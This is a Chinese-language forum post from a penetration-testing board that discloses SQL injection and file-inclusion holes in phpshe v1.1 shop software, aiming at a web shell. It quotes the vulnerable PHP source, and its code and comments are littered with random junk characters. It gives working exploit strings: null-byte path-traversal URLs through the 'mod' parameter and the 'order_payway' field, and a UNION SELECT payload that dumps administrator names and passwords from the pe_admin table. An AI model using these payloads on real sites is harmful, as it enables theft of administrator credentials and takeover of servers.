中国网络渗透测试联盟

标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell [打印本页]
作者: admin    时间: 2013-4-19 19:01
标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell
/*******************************************************/0 ^. k: T, f. h3 v- K. [
/* Phpshe v1.1 Vulnerability
: @$ S" f% G: [3 s/* ========================
  n: O/ i4 n& T9 R1 A5 [/* By: : Kn1f3
% \$ Q; K5 z% y3 _/* E-Mail : 681796@qq.com* T: }# F: I7 z4 J* S. C
/*******************************************************/
% X/ Z+ F8 L+ Q3 Z4 y0×00 整体大概参数传输3 }, R) g: O' ^% `. p

. Q% |9 Z' X7 @% J" l3 _7 x/ t
. X' u- R4 Q2 i3 |+ s1 Q$ t, Z
//common.php, m2 y6 V6 Q( _0 T4 R* Z  M7 \
if (get_magic_quotes_gpc()) {
7 R% q3 p" L0 W- m" e* ?!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');* E9 e. X% F% b
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');/ M) N6 `* O" R; p
}9 }8 r  X3 r  t" Q+ P) N
else {
0 L# k. E9 R0 K" ?! V!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
' x/ L! I) ^5 n  U  ~!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
; X% N, l  v' V5 P0 R) q5 O' E}
: C  w: h( S2 h4 o2 k5 x' B6 usession_start();! ^0 T  \3 C6 J$ \5 v' \( v# @
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
' {7 Q( m% |# B% i- Y# O+ H!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');+ p, X7 \) C3 }
5 v* v& V! g- O; E8 |0 u
0×01 包含漏洞
8 s; R2 }; f7 I$ h0 |( X2 G9 I$ W6 e
& }; B' y5 j2 r8 F# m5 ^$ @: @7 u; g% G! U! F
//首页文件
: e/ e9 Y8 B. L4 K5 k<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
- F, F, G- r: }include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞3 U% U2 U, L6 y
pe_result();  B$ L% T  h' t* x! u2 i; I* `: a1 K# _
?>6 U8 Y! \5 n" J6 A' v; Q1 I- P; z
//common 文件 第15行开始
: x% R. F: u! [9 V) n; i, ourl路由配置; d* n9 G: A- M/ W) e9 f* B4 C% b
$module = $mod = $act = 'index';, S, c7 a( D) z# U1 ]" |* @
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);1 A8 Q% E# I6 G0 Y' p
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);! X) ~! c* m( a6 c2 c, S0 F
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
1 M- E' c( c. |) z3 _* j//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%000 V2 X  K) D# g7 b: J


8 Z+ @0 S; y( _1 s( C+ l' V & g3 v4 n. [/ E, z/ \
0×02 搜索注入3 k( a+ `  J. N0 y5 S

6 y! |: u2 ]( e6 u" s  b<code id="code2">

//product.php文件) P& |3 X9 |8 P) I1 p* A
case 'list':
: z# R. ^* o2 f7 Z4 J$category_id = intval($id);
2 L4 z) R% J. W) H: e  U1 o$info = $db->pe_select('category', array('category_id'=>$category_id));. Q, Q0 G. z4 j0 t0 s" Z/ t5 h
//搜索2 K% u' x7 l! r
$sqlwhere = " and `product_state` = 1";' }5 \  B# p7 l  ~
pe_lead('hook/category.hook.php');% [! O- P  ]# A6 c+ N
if ($category_id) {
6 i; S' z& Q0 N, ~where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";* g* Q, T: }) Y$ n& E" Q  t
}3 \' ?( y$ x$ z1 n
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
3 ~$ C# h* Z  X" @" F/ Hif ($_g_orderby) {
/ N2 B3 y3 K4 l/ O1 T; A$orderby = explode('_', $_g_orderby);$ G! _3 Y! x7 Y/ N3 d3 O) [
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
) u2 y* e# S8 E" n) Y}/ I( t) q4 n* d& W1 s% Y  I) w. ]
else {
4 M' V( ]: }1 l* E$sqlwhere .= " order by `product_id` desc";
; a/ s4 l& D& [/ B6 U}
6 w& u3 b3 V7 x, w# B. k' d$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));0 ?2 u) E6 l6 r) v; a4 O
//热卖排行! ^$ r% V2 {( _9 r
$product_hotlist = product_hotlist();
. A& K' H8 n. t//当前路径
$ J9 M7 b8 n( u7 z) n0 v8 p1 a! n$nowpath = category_path($category_id);
3 S9 B5 u2 A; x( n$seo = pe_seo($info['category_name']);- D  G/ B" f5 G' k9 L) Z' o
include(pe_tpl('product_list.html'));
* q" t- T# }  U# d//跟进selectall函数库
) ~' G3 g! q( W! k7 M# \public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
0 G8 ?) X0 }. ~, N% M9 ~{* ^) L$ [3 ?3 r# b! [7 A- \
//处理条件语句. y5 N# w) }* d
$sqlwhere = $this->_dowhere($where);) K- y' V* W( V0 n* V% i& Z6 S
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
8 c* D+ R& f' d0 ?}
9 V) {9 X. m! A( k/ A//exp
5 ]7 U9 B( K. G$ C3 T$ }' W+ @product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='14 i( G, a5 O% Q( X

</code>: Y$ K1 ]  o) u( |$ y+ C( E3 ?
" A; B1 f$ [  L7 j0 T+ A$ K4 W& c
0×03 包含漏洞2$ O! F2 N  ?% B- c& _4 c6 k% y

# V! A2 L7 @+ J0 ^5 H<code id="code3">

//order.php

case 'pay':


+ O# J2 d2 C% I- \, [" O8 o$order_id = pe_dbhold($_g_id);


: O! F# i& s# R. w$cache_payway = cache::get('payway');


" V$ d# `) l* S! x3 D, H/ P9 Nforeach($cache_payway as $k => $v) {


1 @4 O6 e: @" S# z$ |3 R$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


+ y& u& n3 z# y& P/ r% Sif ($k == 'bank') {

& \. G2 b5 ?9 s& ~0 {  N5 W
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

' t+ b2 l* Y7 ]! c: y
}


% x1 N! \' ]" E% ~6 {}

0 N& Z8 `; }& x: B" ~% n' F
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

9 i, A: s) Q4 ?" Z+ @1 s2 Q
!$order['order_id'] && pe_error('订单号错误...');

# [3 L+ |& D( ]# U# D, A
if (isset($_p_pesubmit)) {

+ b# s" z5 C4 d- Y( M, a/ A
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

) e9 M9 v* M2 ~" A0 ?" k% q5 z
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


" q6 N/ `& J/ l1 gforeach ($info_list as $v) {


& Q1 ]/ N, t1 H1 g3 W( O5 m$order['order_name'] .= "{$v['product_name']};";
- d* A' t" M! _6 }) _4 J


0 X% _3 {: x) u8 c& o}

9 ^/ l( R2 C( {
echo '正在为您连接支付网站，请稍后...';


9 _8 _/ [! f# o! C7 vinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


; F3 @# _, I' ~}//当一切准备好的时候就可以进行"鸡肋包含了"


6 X8 C4 e/ U1 S1 V3 E' ^/ Helse {


' _, e4 D( x7 Spe_error('支付错误...');

8 q4 h9 A8 J% }3 Z$ y0 u+ ^
}

5 N& H; V  ?& B4 N
}

- P" t) f: Q' S5 u- ]' m
$seo = pe_seo('选择支付方式');


" ?4 o; c0 x& E8 s  |include(pe_tpl('order_pay.html'));


. e4 O/ w9 l$ ~" Tbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code># G0 Z2 D# t; W8 X5 ?




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2